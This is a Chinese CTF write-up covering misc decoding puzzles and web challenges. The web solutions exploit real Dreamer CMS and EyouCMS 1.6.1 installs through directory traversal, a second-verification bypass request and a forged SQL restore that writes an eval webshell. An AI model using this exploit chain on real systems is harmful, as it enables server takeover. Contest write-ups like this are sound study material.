Misc
hacker
看看流量,发现就是写了个简单的加密逻辑,只要读懂了之后解dns数据就可以了
出题人不知道是故意的还是怎么的这个加密逻辑会导致没62位丢失一位,这直接先补个1然后再爆破就可以了
password为admin密码,在tcp.stream eq 2里可以找到
加密逻辑也在tcp.stream eq 2里可以找到
转换脚本:
password = '3861336536383463393233623736336432353263663165383733346137613239'
cipher = '79227024716c7522787370254c777230667673222570247b766773226326711d7b357226771575227a7372237677702573611f372570317b767277207620611479207024777b60247e6674231a626727666171372570317f766773207620167879226731756c60206d75703670754e'
res = ''
for i in range(len(cipher)):
res += hex(int(cipher[i], 16) ^ int(password[i % len(password)], 16))[2:]
print(bytes.fromhex(res).decode())
#ACCAGTAAAACG{AATTCAACAACATGCTGC$CTACA-AACAAAAACAAT-TCATCAACAAAS-AACAACTGGTGA-TTCTTCTCATGATGAAA$AACTTCTTCTGCTGC}
这里的两个$和一个S的就是丢失的字节
观察后发现大概是某种进制,并且是ACGT的顺序
解密脚本:
table = 'ACGT'
dic = {'AAA': 'a', 'AAC': 'b', 'AAG': 'c',
'AAT': 'd', 'ACA': 'e', 'ACC': 'f', 'ACG': 'g', 'ACT': 'h', 'AGA': 'i', 'AGC': 'j', 'AGG': 'k', 'AGT': 'l', 'ATA': 'm', 'ATC': 'n', 'ATG': 'o', 'ATT': 'p', 'CAA': 'q', 'CAC': 'r', 'CAG': 's', 'CAT': 't', 'CCA': 'u', 'CCC': 'v', 'CCG': 'w', 'CCT': 'x', 'CGA': 'y', 'CGC': 'z', 'CGG': 'A', 'CGT': 'B', 'CTA': 'C', 'CTC': 'D', 'CTG': 'E', 'CTT': 'F', 'GAA': 'G', 'GAC': 'H', 'GAG': 'I', 'GAT': 'J', 'GCA': 'K', 'GCC': 'L', 'GCG': 'M', 'GCT': 'N', 'GGA': 'O', 'GGC': 'P', 'GGG': 'Q', 'GGT': 'R', 'GTA': 'S', 'GTC': 'T', 'GTG': 'U', 'GTT': 'V', 'TAA': 'W', 'TAC': 'X', 'TAG': 'Y', 'TAT': 'Z', 'TCA': '1', 'TCC': '2', 'TCG': '3', 'TCT': '4', 'TGA': '5', 'TGC': '6', 'TGG': '7', 'TGT': '8', 'TTA': '9', 'TTC': '0', 'TTG': ' '}
cipher = 'TCATCAACAAAT'
plain = ''
for i in range(0, len(cipher), 3):
plain += dic[cipher[i:i+3]]
print(plain)
最后对位置的两个位进行爆破即可
阿尼亚
图片尾的冗余数据解hex之后可以察觉是有种编码的感觉,于是用cyberchef爆破一下可以得到密码

然后根据文件名提示去使用在线工具得到压缩包密码

然后解开压缩包,里面是Decabit编码,解一下就可以了

X光的秘密
简单了解后写脚本提取下图片,然后发现17 18 19三张图是几乎一模一样的,根据位深度为8,脑洞一下可能是图片合成,所以把最后三张图分别作为rgb填充进一张新图,再lsb就可以发现flag图片
exp:
import SimpleITK as sitk
from PIL import Image
import pydicom
import numpy as np
import cv2
def loadFile(filename):
ds = sitk.ReadImage(filename)
img_array = sitk.GetArrayFromImage(ds)
frame_num, width, height = img_array.shape
return img_array, frame_num, width, height
def showImage(img_array, frame_num):
img_bitmap = Image.fromarray(img_array[frame_num])
return img_bitmap
filename = 'task.dcm'
file = loadFile(filename)
for i in range(20):
img = showImage(file[0], i)
img.save('./file/'+str(i)+'.png')
img1 = Image.open("./file/17.png")
img2 = Image.open("./file/18.png")
img3 = Image.open("./file/19.png")
img = Image.new('RGB', (512, 512))
for i in range(512):
for j in range(512):
p1 = img1.getpixel((j, i))
p2 = img2.getpixel((j, i))
p3 = img3.getpixel((j, i))
img.putpixel((j, i), (p1, p2, p3))
img.save("./file/flag.png")

提取出来就是flag图片
Web
点击签到
http://eci-2ze1elkmd44j2kaljzts.cloudeci1.ichunqiu.com/0x1337.js
把 js 改一改
var _0x4a12 = `<省略>`;
function _0x3aef(_0x123456) {
var _0xabcdef = '';
for (var _0x10 = 0x0; _0x10 < _0x123456.length; _0x10++) {
_0xabcdef += String.fromCharCode(_0x123456.charCodeAt(_0x10) ^ 0x2a);
}
return _0xabcdef;
}
function decrypt() {
var encodedSecret = _0x4a12;
return _0x3aef(encodedSecret);
}

Dreamer
gitee 地址 https://gitee.com/isoftforce/dreamer_cms
管理员默认账号密码。wangjn/123456
参考 https://gitee.com/isoftforce/dreamer_cms/issues/I6NP86
修改 themePath, 上传压缩包, 然后目录穿越

flag 在根目录下

Dreamer_revenge
后台登录以及目录穿越的过程同上
flag 不在根目录下面, 读 /proc/self/environ
也没有结果
看下数据库配置文件, 有 mysql 和 redis

/var/lib
下面发现了对应的目录

/var/lib/redis/
, 一开始没有 dump.rdb, 在后台随便点点然后等几分钟就有了
估计是 redis 自动缓存的问题
查看 /etc/redis/redis.conf
发现配置了默认备份的策略
save 900 1
save 300 10
save 60 10000

因为可以任意文件读取, flag 就在 rdb 里面, 不过每次出现的位置都不太一样

Eyou
https://eci-2zecserefv525cst1glk.cloudeci1.ichunqiu.com/login.php
后台账号密码 admin/admin123
版本为 1.6.1, 官网源码: https://update.eyoucms.com/source/EyouCMS-V1.6.1-UTF8-SP1_0329.zip
后台可以改上传的文件后缀, 但是源码限制死了, 只要包含 php 或者不在一个预置的 array 里面就会被 unset
常规的文件上传点和 ueditor 都使用了这个配置, 绕不过去
\app\admin\controller\System::basic

后台存在模版管理的功能, 进去之后会提示二次安全验证, 可以改前端 js 阻止弹窗, 但是只要一编辑 / 新建文件又会提示 "请勿非法越过二次安全验证", 并且只能够新建 htm/css/js/txt
存在数据库备份还原的功能

发现文件并没有限制后缀是 .sql, 只要文件名包含 .sql 就行, 但是会有一些命名格式的限制 (sscanf 函数)
安全中心可以改数据备份路径, 所以考虑把路径换到一个可控的文件夹里面, 然后上传文件之后再去还原数据, 进而执行任意 sql 语句
因为命名格式的限制, 可控文件名的地方就只有模版管理, 但模版管理需要二次验证
Security.php 里面的 second_verify_edit
方法验证了原答案, 但是 second_verify_add
没有验证

构造数据包
POST /login.php?m=admin&c=Security&a=second_verify_add&_ajax=1&lang=cn HTTP/1.1
Host: eci-2zecserefv525cst1glk.cloudeci1.ichunqiu.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://eci-2zecserefv525cst1glk.cloudeci1.ichunqiu.com/login.php?s=Admin/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; home_lang=cn; admin_lang=cn; PHPSESSID=5fd42b46c3c6c0375b160cab41cd7f06;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
&ask=1&answer=1234

先随便备份一次数据表拿到文件名, 然后抓还原的包拿到 time 的值
到模版管理界面新建文件
-- ----------------------------------------
-- EyouCms MySQL Data Transfer
--
-- Server : 127.0.0.1_3306
-- Server Version : 10.3.38-MariaDB-0+deb10u1
-- Host : 127.0.0.1:3306
-- Database : eyoucms
--
-- Part : #1
-- Version : #v1.6.1
-- Date : 2023-04-19 11:37:28
-- -----------------------------------------
SET FOREIGN_KEY_CHECKS = 0;
-- -----------------------------
-- Table structure for `ey_ad`
-- -----------------------------
create table ey_test(id int, content text);
insert into ey_test values(1, user());
insert into ey_test values(2,version());
select '<?php phpinfo();eval($_REQUEST[1]);?>' into outfile '/var/www/html/shell.php';
再去安全中心更改数据库备份路径为 /template, 最后发送恢复备份的数据包
POST /login.php?m=admin&c=Tools&a=new_import&time=1681875679&lang=cn HTTP/1.1
Host: eci-2zecserefv525cst1glk.cloudeci1.ichunqiu.com
Content-Length: 0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zecserefv525cst1glk.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://eci-2zecserefv525cst1glk.cloudeci1.ichunqiu.com/login.php?m=admin&c=Tools&a=restore&lang=cn
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; home_lang=cn; admin_lang=cn; PHPSESSID=5fd42b46c3c6c0375b160cab41cd7f06;
Connection: close


flag 在根目录下

最新评论